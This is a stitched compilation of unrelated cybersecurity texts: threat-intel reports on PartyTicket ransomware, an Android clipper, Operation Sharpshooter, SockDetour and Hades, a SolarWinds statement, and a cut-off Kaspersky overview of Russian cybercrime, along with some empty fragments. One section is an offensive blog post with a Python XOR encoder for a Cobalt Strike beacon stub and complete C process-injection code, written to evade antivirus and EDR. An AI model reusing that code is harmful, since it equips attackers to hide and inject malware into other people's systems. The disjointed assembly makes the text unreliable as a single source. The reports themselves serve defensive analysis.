Mark Grzegorzewski, PhD, is a professor at the Joint Special Operations University, US Special Operations Command. He has recently published in Special Operations Journal on “Demystifying Artificial Intelligence through DoD Education” and has a chapter in an edited volume titled, “Russian Cyber Operations: The Relationship Between the State and Cyber Criminals.” He created JSOU’s Quick Look series with forthcoming publications on AI and cryptocurrency.
Christopher Marsh, PhD, is the director of research and analysis in the Institute for SOF Strategic Studies at the Joint Special Operations University, US Special Operations Command. He is the author of several books and dozens of articles on Russian and Chinese domestic, foreign, and defense policies, including *Unparalleled Reforms: China’s Rise, Russia’s Fall, and the Interdependence of Transition*. He is currently writing a book on great power competition between the United States, Russia, and China.
The views expressed are those of the authors and do not reflect the official position of the United States Military Academy, Department of the Army, Department of Defense, US government, or that of any organization with which the authors are affiliated, including US Special Operations Command. |
# CrowdStrike Cracks PartyTicket Ransomware Targeting Ukraine
CrowdStrike's analysis of the new ransomware, also known as HermeticRansom, that affected Ukrainian organizations revealed that files encrypted with PartyTicket are recoverable.
While a new ransomware strain was used in "destructive attacks" that targeted Ukrainian organizations hours before the Russian invasion, CrowdStrike determined it is decryptable. On Feb. 23, antimalware vendor ESET uncovered a new data-wiping malware it dubbed HermeticWiper used in a campaign hours after a series of DDoS attacks kicked several websites associated with the Ukrainian government offline. ESET researchers also observed a Go-based ransomware it tracks as HermeticRansom deployed during the campaign. Following reports from ESET and other vendors, CrowdStrike began tracking the "sophisticated wiper" under the name DriveSlayer.
While analyzing DriveSlayer, CrowdStrike uncovered new insight into HermeticRansom, which it is tracking as PartyTicket. CrowdStrike provided further analysis in a blog post where the security vendor said PartyTicket ransomware "superficially encrypts files" due to implementation errors that make "its encryption breakable and slow." While CrowdStrike did not attribute PartyTicket to a specific threat group, it did provide further insight into the developer. "This flaw suggests that the malware author was either inexperienced writing in Go or invested limited efforts in testing the malware, possibly because the available development time was limited," the blog post said.
CrowdStrike published a script in the blog post that will decrypt files that have been locked by PartyTicket. "Due to the previously discussed implementation errors in the AES key generation, it is possible to recover the AES key used for encryption by PartyTicket," it explained. A sample analysis revealed many symbols referencing the U.S. political system, such as President Joe Biden and the White House. CrowdStrike observed that prior to encryption, the ransomware renamed the file using a format that included the letters JB, which "very likely stands for the initials of the United States president Joseph Biden."
Based on the three factors including the deployment timing, political messaging and "relative immaturity" of the ransomware, CrowdStrike said the primary use of PartyTicket is as an "additional payload alongside DriveSlayer activity, rather than as a legitimate ransomware extortion attempt." Similarly, ESET researchers determined that the ransomware was potentially used to hide the actions of the data-wiping malware and did not mention any extortion motives. Several security vendors and threat analysts have tracked destructive malware attacks against various targets in Ukraine since Russia's invasion of the country began. |
# First Clipper Malware Discovered on Google Play
Cryptocurrency stealers that replace a wallet address in the clipboard are no longer limited to Windows or shady Android app stores.
Cryptocurrency stealers that replace a wallet address in the clipboard are no longer limited to Windows or shady Android app stores. For security reasons, addresses of online cryptocurrency wallets are composed of long strings of characters. Instead of typing them, users tend to copy and paste the addresses using the clipboard. A type of malware, known as a “clipper,” takes advantage of this. It intercepts the content of the clipboard and replaces it surreptitiously with what the attacker wants to subvert. In the case of a cryptocurrency transaction, the affected user might end up with the copied wallet address quietly switched to one belonging to the attacker.
This dangerous form of malware first made its rounds in 2017 on the Windows platform and was spotted in shady Android app stores in the summer of 2018. In February 2019, we discovered a malicious clipper on Google Play, the official Android app store. Although relatively new, cryptocurrency stealers that rely on altering the clipboard’s content can be considered established malware. ESET researchers even discovered one hosted on download.cnet.com, one of the most popular software-hosting sites in the world. In August 2018, the first Android clipper was discovered being sold on underground hacking forums, and since then, this malware has been detected in several shady app stores.
The clipper we found lurking in the Google Play store, detected by ESET security solutions as Android/Clipper.C, impersonates a legitimate service called MetaMask. The malware’s primary purpose is to steal the victim’s credentials and private keys to gain control over the victim’s Ethereum funds. However, it can also replace a Bitcoin or Ethereum wallet address copied to the clipboard with one belonging to the attacker.
We spotted Android/Clipper.C shortly after it had been introduced at the official Android store, which was on February 1, 2019. We reported the discovery to the Google Play security team, who removed the app from the Store. This attack targets users who want to use the mobile version of the MetaMask service, which is designed to run Ethereum decentralized apps in a browser, without having to run a full Ethereum node. However, the service currently does not offer a mobile app – only add-ons for desktop browsers such as Chrome and Firefox.
Several malicious apps have been caught previously on Google Play impersonating MetaMask. However, they merely phished for sensitive information with the goal of accessing the victims’ cryptocurrency funds.
## Security Tips
This first appearance of clipper malware on Google Play serves as another imperative for Android users to stick with the best practices for mobile security. To stay safe from clippers and other Android malware, we advise you to:
- Keep your Android device updated and use a reliable mobile security solution.
- Stick to the official Google Play store when downloading apps.
- Always check the official website of the app developer or service provider for the link to the official app. If there is not one, consider it a red flag and be extremely cautious of any result of your Google Play search.
- Double-check every step in all transactions that involve anything valuable, from sensitive information to money. When using the clipboard, always check if what you pasted is what you intended to enter.
## Indicators of Compromise (IoCs)
**Package Name:** com.lemon.metamask
**Hash:** 24D7783AAF34884677A601D487473F88
**BTC address:** 17M66AG2uQ5YZLFEMKGpzbzh4F1EsFWkmA
**ETH address:** 0xfbbb2EF692B5101f16d3632f836461904C761965 |
# SkyRAT
github.com/YSCHGroup/SkyRAT
YSCHGroup
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. You can’t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. |
# Operation Sharpshooter
## Campaign Targets Global Defense, Critical Infrastructure
The McAfee® Advanced Threat Research team and McAfee Labs Malware Operations Group, employing McAfee® Global Threat Intelligence, have discovered a new global campaign targeting nuclear, defense, energy, and financial companies. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags.
## Global Impact
In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.
## Campaign Analysis
This operation began October 25. A series of malicious documents carried the author’s name Richard. These documents contained Korean-language metadata, indicating they were created with a Korean version of Microsoft Word. All the malicious documents had English-language job description titles for positions at unknown companies, distributed by an IP address in the United States and through the Dropbox service. The documents contained a malicious macro that leveraged embedded shellcode to inject the Sharpshooter downloader into the memory of Word. Once the Word process was infected, the downloader retrieved the second-stage implant Rising Sun.
The shellcode of the downloader is 3.1KB in size and retrieved another implant hosted at a specified URL.
## Shellcode Behavior
The shellcode executed by the Visual Basic for Applications macro in winword.exe acts as a simple downloader for the second-stage implant. The shellcode takes four steps to infect the endpoint with the second-stage payload:
1. It builds library and API names by populating string arrays using hardcoded bytes.
2. It resolves the Libraries and APIs using LoadLibraryA(), GetProcAddress().
3. The implant downloads two files from its control server:
- Second-stage payload: The second-stage binary is downloaded to the startup folder on the endpoint.
- Second OLE (Word) document: Another OLE document is downloaded as a decoy to hide the malicious content.
4. Once both the second-stage implant and decoy document have been downloaded, the two payloads are executed.
## Rising Sun Behavior
The Rising Sun implant is a fully functional modular backdoor that performs reconnaissance on the victim’s network. This implant starts by building its imports via dynamic API resolution: LoadLibrary()/GetProcAddress(). The library and API names are hardcoded as DWORD/WORD values in the implant and comprise a blob of bytes. This blob of data is decrypted using a simple single-byte XOR scheme with the key 0xC8.
The configuration data used by the implant is encrypted using an RC4 stream algorithm. The implant decrypts the configuration data at runtime and for communicating with the control server.
## Initial Reconnaissance
The implant fetches the following data from the endpoint and exfiltrates it to the control server:
- Network adapter info
- Computer name
- User name
- IP address information
- Native system information
- OS product name from registry
The implant carries out data encryption and exfiltration using the following steps:
- Once the data has been gathered from the endpoint, the implant encrypts it using the RC4 stream encryption algorithm.
- After the data has been encrypted, the implant performs another layer of obfuscation of the data by Base64-encoding the RC4 encrypted data.
## Implant Capabilities
The implant carries 14 backdoor capabilities. It receives a command code (along with supporting data for the command) from the control server to execute a specific function. Unless otherwise specified, the implant sends the output of an executed command to the control server as an HTTP POST request.
### Capability #1: Execute Commands
The implant executes a command specified by the control server using cmd.exe.
### Capability #2: Get Drive Information
For every drive on the system, the implant gets the following information:
- Drive type
- Total number of bytes on disk
- Total number of free bytes on disk
- Name of a specified volume
### Capability #3: Launch Process from Windows Binary
Launch a process from a binary specified by the control server.
### Capability #4: Get Processes Information
Enumerate all processes currently running and record:
- Process name
- Process creation time
- Process exit time
- Process kernel mode time
- Process user mode time
### Capability #5: Terminate Process
Terminate a process specified by the control server.
### Capability #6: Get File Times
Find files based on a filename search string and get the following times:
- File creation time
- Last access time
### Capability #7: Read File
Read the contents of a file specified by the control server and exfiltrate the contents of the file.
### Capability #8: Clear Process Memory
Clear a memory blob in the process by overwriting it with junk bytes.
### Capability #9: Write File to Disk
Get a file path from the control server and create a file corresponding to the file path.
### Capability #10: Delete File
Delete a file specified by the control server if it is not a directory.
### Capability #11: Get Additional File Information for Files in a Directory
If the file path specified is a directory, then enumerate all files in the directory and send to the control server.
### Capability #12: Connect to an IP Address
Test a connection to a specified network IP address over a specified port number.
### Capability #13: Change File Attributes
Modify file attributes based on the content specified by the control server.
### Capability #14: Variant of Change File Attributes
Change file attributes and move the file to a different location.
## Attribution
Attributing an attack to any threat group is often riddled with challenges, including potential “false flag” operations by other threat actors. Technical evidence alone is not sufficient to attribute this activity with high confidence. However, based on our analysis, this operation shares multiple striking similarities with other Lazarus Group attacks; thus we present them for further analysis. Although these similarities point to Lazarus, we must also consider the possibility of false flags.
## Conclusion
Our discovery of a new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.
We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators. Operation Sharpshooter’s similarities to Lazarus Group malware are striking, but that does not ensure attribution. We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.
## Indicators of Compromise
### MITRE ATT&CK™ Techniques
- Account discovery
- File and directory discovery
- Process discovery
- System network configuration discovery
- System information discovery
- System network connections discovery
- System time discovery
- Automated exfiltration
- Data encrypted
- Exfiltration over command and control channel
- Commonly used port
- Process injection
### Control Servers
- 34.214.99.20/view_style.php
- 137.74.41.56/board.php
- kingkoil.com.sg/board.php
### McAfee Detection
- RDN/Generic Downloader.x
- Rising-Sun
- Rising-Sun-DOC
### Hashes
- 8106a30bd35526bded384627d8eebce15da35d17
- 66776c50bcc79bbcecdbe99960e6ee39c8a31181
- 668b0df94c6d12ae86711ce24ce79dbe0ee2d463
- 9b0f22e129c73ce4c21be4122182f6dcbc351c95
- 31e79093d452426247a56ca0eff860b0ecc86009 |
# New "SockDetour" Fileless, Socketless Backdoor Targets U.S. Defense Contractors
Cybersecurity researchers have taken the wraps off a previously undocumented and stealthy custom malware called SockDetour that targeted U.S.-based defense contractors with the goal of being used as a secondary implant on compromised Windows hosts.
"SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in case the primary one fails," Palo Alto Networks' Unit 42 threat intelligence said in a report published Thursday. "It is difficult to detect, since it operates filelessly and socketlessly on compromised Windows servers."
Even more concerningly, SockDetour is believed to have been used in attacks since at least July 2019, based on a compilation timestamp on the sample, implying that the backdoor successfully managed to slip past detection for over two-and-a-half years.
The attacks have been attributed to a threat cluster it tracks as TiltedTemple (aka DEV-0322 by Microsoft), which is the designated moniker for a hacking group operating out of China and was instrumental in exploiting zero-day flaws in Zoho ManageEngine ADSelfService Plus and ServiceDesk Plus deployments as a launchpad for malware attacks last year.
The ties to TiltedTemple come from overlaps in the attack infrastructure, with one of the command-and-control (C2) servers that was used to facilitate the distribution of malware for the late 2021 campaigns also hosting the SockDetour backdoor, alongside a memory dumping utility and numerous web shells for remote access.
Unit 42 said it unearthed evidence of at least four defense contractors targeted by the new wave of attacks, resulting in the compromise of one of them. The intrusions also predate the attacks that occurred through compromised Zoho ManageEngine servers in August 2021 by a month. Analysis of the campaign has revealed that SockDetour was delivered from an external FTP server to a U.S.-based defense contractor's internet-facing Windows server on July 27, 2021.
"The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO) network-attached storage (NAS) server," the researchers pointed out. "The NAS server is known to have multiple vulnerabilities, including a remote code execution vulnerability, CVE-2021-28799."
What's more, the same server is said to have been already infected with the QLocker ransomware, raising the possibility the TiltedTemple actor leveraged the aforementioned flaw to gain unauthorized initial access.
SockDetour, for its part, is fashioned as a stand-in backdoor that hijacks legitimate processes' network sockets to establish its own encrypted C2 channel, followed by loading an unidentified plugin DLL file retrieved from the server.
"Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to establish a remote C2 channel," the researchers said. "This makes the backdoor more difficult to detect from both host and network level." |
# Trucking Giant Forward Air Hit by New Hades Ransomware Gang
Trucking and freight logistics company Forward Air has suffered a ransomware attack by a new ransomware gang that has impacted the company's business operations. Forward Air is a leading trucking and air freight logistics company based out of Tennessee, USA. The company generated $1.4 billion in revenue for 2019 and employs over 4,300 people.
Last week, FreightWaves reported that Forward Air suffered a cyberattack that forced them to take their systems offline to prevent the attack's spread. Forward Air later confirmed this attack in a statement to BleepingComputer.
"On December 15, Forward Air detected an IT security incident that impacted the functionality of certain computer systems. Per our information security protocols, we immediately took our systems offline, notified law enforcement and engaged several third-party experts to assist us in conducting an internal investigation. Our IT team is working diligently to restore the affected systems and services and bring them back online as soon as possible," Forward Air shared in a statement to BleepingComputer.
According to FreightWaves, the attack has led to business disruption as the paperwork required to release freight from customs was stored on the shutdown systems and is not available. At this time, Forward Air's website is down and just displays a message about the "IT security incident" and that the site is down while they restore affected systems.
New Hades ransomware operation is responsible. Sources have told BleepingComputer today that Forward Air suffered a cyberattack by a new ransomware operation known as Hades.
Update 12/21/20 6:37 PM EST: After we published our story, Forward Air filed a Form 8-K with the Securities and Exchange Commission disclosing that they suffered a ransomware attack.
"On December 15, 2020, Forward Air Corporation (the “Company”) detected a ransomware incident impacting its operational and information technology systems, which has caused service delays for many of its customers. Promptly upon its detection of the incident, the Company initiated response protocols, launched an investigation and engaged the services of cybersecurity and forensics professionals. The Company has also engaged with the appropriate law enforcement authorities," the Form 8-K states.
The Hades ransomware gang behind this attack began operating about a week ago in human-operated attacks against the enterprise. When encrypting a victim, it will create a ransom note named 'HOW-TO-DECRYPT-[extension].txt' that resembles notes used by the REvil ransomware group.
Enclosed in the ransom notes is a Tor site URL that is unique to each victim. This URL brings you to a Tor site containing information about the attack and a Tox messenger address that victims can use to contact the attackers, which is the same for all victims.
When we reached out via Tox to the ransomware actors, they were unwilling to provide any information about their attacks. They did, though, share a Twitter account whose name indicates they will use it to leak files stolen during attacks. It is not known how much money is demanded to recover files, and a sample of the ransomware has not been found. |
```markdown
Case 2:16-mj-00551-JPD
Document 1
Filed 12/23/16
Page 1 of 16
Page 2 of 16
Page 3 of 16
Page 4 of 16
Page 5 of 16
Page 6 of 16
Page 7 of 16
Page 8 of 16
Page 9 of 16
Page 10 of 16
Page 11 of 16
Page 12 of 16
Page 13 of 16
Page 14 of 16
Page 15 of 16
Page 16 of 16
``` |
# Statement on Solar Winds Orion Cyberattacks
15.04.2021
Poland has received with great concern the information provided by the U.S. Government regarding the cyberattacks conducted by the Russian Federation using Solar Winds Orion systems and software. The impact of these attacks extends beyond the US and affects European countries, among others. The steady increase in malicious activities in cyberspace not only threatens the security and stability of the functioning of individual entities or systems using digital technologies, but also has a harmful impact on societies, economies, or governments of many countries.
Poland stands solidary with the United States. Our position is expressed in the statements of NATO and the European Union. We strongly advocate that states, the private sector, and individuals adhere to the principles of responsible behavior in cyberspace. This is a position we have consistently presented at the EU, NATO, OSCE, UN, and other international organizations. Conducting or supporting malicious cyber activities by states calls into question their intentions as participants in international processes to strengthen cybersecurity on a global scale. |
# In-Memory Shellcode Decoding to Evade AVs/EDRs
Askar
2020-07-26
Estimated Reading Time: 9 minutes
During the previous week, I was doing some research about Win32 APIs and how we can use them during weaponizing our attack. I already did some work related to process injection in the past, but I was looking for something more advanced to take process injection to the next level.
So, I took my simple vanilla shellcode injection C implementation and tried to enhance it by implementing a decoding routine. This way, my shellcode will be written in memory in an encoded way and will be decoded at runtime. The vanilla process injection technique is very simple to use and implement: you just need to open the process you want, allocate space in that process, write your shellcode, then execute it.
We will do almost the same thing here, but I will encode my shellcode first by writing a simple Python script to encode it. Later, we will let the C code decode it at runtime and write each byte in memory after allocating the space we want. I will also dig deeper into some Win32 APIs and explain how each one is executed at a low level.
## Process Injection 101
The vanilla process injection technique will do the following:
1. Open a process and retrieve a HANDLE for that process.
2. Allocate space in the remote process (retrieve a memory address).
3. Write the data (shellcode) inside that process.
4. Execute the shellcode.
We can perform these steps with a couple of Win32 APIs:
- `OpenProcess()`
- `VirtualAllocEx()`
- `WriteProcessMemory()`
- `CreateRemoteThread()`
In the normal case, we will write the raw data “shellcode” directly to memory as it is, but if the shellcode is detected by AVs/EDRs, they will definitely raise an alert. Therefore, we need to encode our shellcode and save it as encoded shellcode inside our binary, then decode it and write it to memory to avoid detection.
## Shellcode Encoding
We need to encode our shellcode to avoid detection. To do that, we need to modify the shellcode in a reversible way that can retrieve the original state of our shellcode. We can do this by performing some changes on each opcode, such as:
- XOR
- ADD
- Subtract
- SWAP
I will use the XOR bitwise operation on each opcode of my shellcode. I will use Cobalt Strike beacon as my shellcode, which is as follows:
```c
/* length: 887 bytes */
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65";
```
The following code will be our encoder:
```python
#!/usr/bin/python
import sys
raw_data = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"
new_shellcode = []
for opcode in raw_data:
new_opcode = (ord(opcode) ^ 0x01)
new_shellcode.append(new_opcode)
print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])
```
This script will read each opcode of our shellcode, XOR it with the byte `0x01` (our key), append each encoded opcode into a new list, and finally print it as shellcode.
We got the encoded shellcode after running the script, and we are ready to move on. We will now start implementing the C code that will perform the shellcode injection for us, walking through every Win32 API to explain that.
### Open Process and Retrieve a Handle
We need to choose a process to inject our shellcode into, and to do that, we need to retrieve a handle for that process. We will use the `OpenProcess` Win32 API with the following code:
```c
#include <windows.h>
int main(int argc, char *argv[]){
int process_id = atoi(argv[1]);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if(process){
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
} else {
printf("[-] Unable to retrieve process handle\n");
}
}
```
This code takes the process ID as the first argument, uses `OpenProcess()` with `PROCESS_ALL_ACCESS` to open the process, and saves the handle in the variable `process`. It then prints the handle.
### Allocate Space on the Remote Process
Next, after retrieving the handle, we will allocate space inside that process using `VirtualAllocEx()`:
```c
#include <windows.h>
int main(int argc, char *argv[]){
char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int process_id = atoi(argv[1]);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if(process){
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated base address is 0x%x\n", base_address);
} else {
printf("[-] Unable to allocate memory ...\n");
}
} else {
printf("[-] Unable to retrieve process handle\n");
}
}
```
In this code, we declare a variable `base_address` as `LPVOID`, which will represent the base address of the allocated memory. We use `VirtualAllocEx()` to allocate memory with the specified parameters.
### Write Data to Memory
Now, we will decode the original opcodes and write them directly to memory. We will start writing our data from `0xA50000` and increase the address one by one to reach the next memory address. We will use XOR to decode each byte and retrieve the original status of each opcode.
The following code will achieve that:
```c
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x6";
int process_id = atoi(argv[1]);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if(process){
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated base address is 0x%x\n", base_address);
int i;
int n = 0;
for(i = 0; i <= sizeof(data); i++){
char DecodedOpCode = data[i] ^ 0x01;
if(WriteProcessMemory(process, base_address + n, &DecodedOpCode, 1, NULL)){
printf("[+] Byte wrote successfully!\n");
n++;
}
}
} else {
printf("[-] Unable to allocate memory ...\n");
}
} else {
printf("[-] Unable to retrieve process handle\n");
}
}
```
This code writes our shellcode in memory after decoding each byte with our key `0x01`. The `WriteProcessMemory()` function takes the necessary parameters to write the decoded byte to the specified memory address.
### Executing the Shellcode
Finally, we need to execute the shellcode as a thread using the `CreateRemoteThread()` function:
```c
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x6";
int process_id = atoi(argv[1]);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
if(process){
printf("[+] Handle retrieved successfully!\n");
printf("[+] Handle value is %p\n", process);
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated base address is 0x%x\n", base_address);
int i;
int n = 0;
for(i = 0; i <= sizeof(data); i++){
char DecodedOpCode = data[i] ^ 0x01;
if(WriteProcessMemory(process, base_address + n, &DecodedOpCode, 1, NULL)){
printf("[+] Byte wrote successfully!\n");
n++;
}
}
CreateRemoteThread(process, NULL, 100, (LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);
} else {
printf("[-] Unable to allocate memory ...\n");
}
} else {
printf("[-] Unable to retrieve process handle\n");
}
}
```
In this code, we use `CreateRemoteThread()` to execute our shellcode as a thread in `explorer.exe`. The function takes the necessary parameters to create and run the thread.
### Conclusion
By encoding our shellcode and decoding it using this technique, we were able to bypass AV protection easily and run our shellcode inside another process. You can customize the encoder as you want, but you have to edit the decoder too. Some parts of the code are written only for educational purposes. |
# Russian Financial Cybercrime: How It Works
By Ruslan Stoyanov on November 19, 2015
## Introduction
The Russian-language cybercrime market is known all over the world. By ‘Russian-language market’ we mean cybercriminals who are citizens of the Russian Federation and some former USSR countries, predominantly Ukraine and the Baltic states. Why is this market known worldwide? There are two main factors: the first of these is frequent global media coverage of the activity of Russian-language cybercriminals. The second is the open accessibility of online platforms used by the cybercriminal community for communications, promoting a variety of “services” and “products” and discussing their quality and methods of application, if not for making actual deals.
Over time, the range of “products” and “services” available through this underground market has evolved, becoming more focused on financial attacks, and with an ever-increasing level of sophistication. One of the most common types of cybercrime was (and still is) the turnover of stolen payment card data. With the emergence of online stores and other services involving e-payment transactions, DDoS-attacks and financial cybercrime have become especially popular with the fraudsters whose main targets are users’ payment data or the theft of money directly from user accounts or companies.
Attacks on users’ and companies’ e-wallets were initiated by the Trojan ibank in 2006; then came ZeuS (2007) and SpyEye (2009) followed by the groups Carberp (2010) and Carbanak (2013). And this list is incomplete; there are more Trojans out there, used by criminals to steal users’ money and data.
With online financial transactions becoming more common, the organizations supporting such operations are becoming more attractive to cybercriminals. Over the last few years, cybercriminals have been increasingly attacking not just the customers of banks and online stores, but the enabling banks and payments systems directly. The story of the Carbanak cybergroup which specializes in attacking banks and was exposed earlier this year by Kaspersky Lab is a clear confirmation of this trend.
Kaspersky Lab experts have been monitoring the Russian hacker underground since it first emerged. Kaspersky Lab regularly issues reports on financial cyber-threats which track changes in the number of financial malware attacks carried out over time. Information on the number of attacks may indicate the extent of the problem but does not reveal anything about who creates them and how. We hope that our review will help to shed light on this aspect of financial cybercrime.
## Situation Overview
According to Kaspersky Lab, between 2012 and 2015, law enforcement agencies from a number of different countries, including the United States, Russia, Belarus, Ukraine and the EU arrested over 160 Russian-speaking cybercriminals who were members of small, medium-sized and large criminal groups. They were all suspected of being engaged in stealing money using malware. The total damage resulting from their worldwide activity exceeded $790 million dollars. Of this sum, about $509 million dollars was stolen outside the borders of the former USSR. Of course, this figure only includes confirmed losses, the details of which were obtained by law enforcement authorities during the investigation. In reality, cybercriminals could have stolen a much larger amount.
Since 2013, Kaspersky Lab’s Computer Incidents Investigation team has participated in the investigation of more than 330 cybersecurity incidents. More than 95% of these were connected with the theft of money or financial information.
Although the number of arrests of Russian-language criminals suspected of financial cybercrime increased significantly in 2015 compared with the previous year, the cybercriminal market is still “crowded.” According to Kaspersky Lab experts, over the last three years Russian-language cybercrime has recruited up to a thousand people. These include people involved in the creation of infrastructure, and writing and distributing malware code to steal money, as well as those who either stole or cashed the stolen money. Most of those arrested are still not in prison.
We can calculate fairly precisely the number of people who make up the core structure of an active criminal group: the organizers, the money flow managers involved in withdrawing money from compromised accounts and the professional hackers. Across the cybercriminal underground, there are only around 20 of these core professionals. They are regular visitors of underground forums, and Kaspersky Lab experts have collected a considerable amount of information that suggests that these 20 people play leading roles in criminal activities that involve the online theft of money and information.
The exact number of groups operating across Russia and its neighboring countries is unknown: many of those involved in criminal activities participate in several thefts and then, for various reasons cease their activity. Some participants of known but apparently disbanded groups continue their criminal activities as part of new groups.
Kaspersky Lab’s Computer Incidents Investigation Department can now confirm the activity of at least five major cybercriminal groups specializing in financial crimes. These are the groups whose activities have been monitored by the company’s experts over the last few years.
All five groups came to the attention of the company’s experts in 2012-2013, and are still active. They each number between ten and 40 people. At least two of them are actively attacking targets not only in Russia but also in the USA, the UK, Australia, France, Italy and Germany.
Since the investigation into these groups has not been completed, it is not possible to publish more detailed information on the activities of these groups. Kaspersky Lab continues to investigate their activity and is cooperating with the law enforcement agencies of Russia and other countries in order to curb their cybercriminal business.
## The Structure of the Russian-Language Cybercriminal Market
### A Range of Products and Services
The cybercriminal market usually comprises a set of “services” and “products,” used for various illegal actions in cyberspace. These “products” and “services” are offered to users of dedicated online communities, most of which are closed to outsiders.
The “products” include:
- Software designed to gain unauthorized access to a computer or a mobile device, in order to steal data from an infected device or money from a victim’s account (the Trojans);
- Software designed to take advantage of vulnerabilities in the software installed on a victim’s computer (exploits);
- Databases of stolen credit card data and other valuable information;
- Internet traffic (a certain number of visits to a customer-selected site by users with a specific profile).
The “services” include:
- Spam distribution;
- Organization of DDoS attacks (overloading sites with requests in order to make them unavailable to legitimate users);
- Testing malware for antivirus detection;
- “Packing” of malware (changing malicious software with the help of special software (packers) so that it is not detected by antivirus software);
- Renting out exploit packs;
- Renting out dedicated servers;
- VPN (providing anonymous access to web resources, protection of the data exchange);
- Renting out abuse-resistant hosting (hosting that does not respond to complaints about malicious content, and therefore does not disable the server);
- Renting out botnets;
- Evaluation of the stolen credit card data;
- Services to validate the data (fake calls, fake document scans);
- Promotion of malicious and advertising sites in search results (Black SEO);
- Mediation of transactions for the acquisition of “products” and “services”;
- Withdrawal of money and cashing.
Payments for such “products” and “services” on the cybercriminal market are generally made via an e-payment system such as WebMoney, Perfect Money, Bitcoin and others.
All of these “products” and “services” are bought and sold in various combinations in order to enable four main types of crime. These types can also be combined in various ways depending on the criminal group:
- DDoS attacks (ordered or carried out for the purpose of extortion);
- Theft of personal information and data to access e-money (for the purpose of resale or money theft);
- Theft of money from the accounts of banks or other organizations;
- Domestic or corporate espionage;
- Blocking access to data on the infected computer for the purpose of extortion.
According to Kaspersky Lab experts, the theft of money is currently the most widespread type of crime. The rest of this report therefore focuses on this segment of the Russian-language cybercrime market.
## The “Labor Market” of Financial Cybercrime
The variety of skills required for the creation of “products” and the provision of “services” has given rise to a unique labor market of professionals involved in financial cybercrime.
The list of key roles is almost exactly the same as that seen in any IT-related company:
- Programmers / encoders / virus writers (for the creation of new malicious software and modification of existing malware);
- Web designers (for the creation of phishing pages, emails, etc.);
- System administrators (for the construction and support of the IT infrastructure);
- Testers (to test the malicious software);
- “Cryptors” (responsible for the packing of malicious code to bypass antivirus detection).
The list does not include the heads of the criminal groups, the money flow managers engaged in withdrawing money from compromised accounts, and the heads of money mules supervising the process of cashing the stolen money. This is because the relationship between these elements of the criminal groups is not an employer-employee one, but more of a partnership.
Depending on the type and extent of the criminal enterprise, the heads of the groups either employ “staff” and pay them a fixed salary or work with them on a freelance basis paying for a particular project.
“Employees” are recruited either via sites where those involved in criminal activity traditionally gather or via resources for those interested in non-standard ways of making money online. In some cases, the ads are placed on mainstream job search sites or on the labor exchanges for remote employees.
In general, employees involved in cybercrime can be divided into two types: those who are aware of the illegality of the project or the work they are offered, and those who (at least in the beginning) know nothing about it. In the latter case, these are usually people performing relatively simple operations such as copying the interface of banking systems and sites.
By advertising “real” job vacancies, cybercriminals often expect to find employees from the remote regions of Russia and neighboring countries (mostly Ukraine) where problems with employment opportunities and salaries for IT specialists are quite severe.
## Options for Organizing a Criminal Group
Criminal groups involved in stealing money or financial information that will enable them to get access to money, differ in the number of participants and scope of activities. There are three main types of involvement:
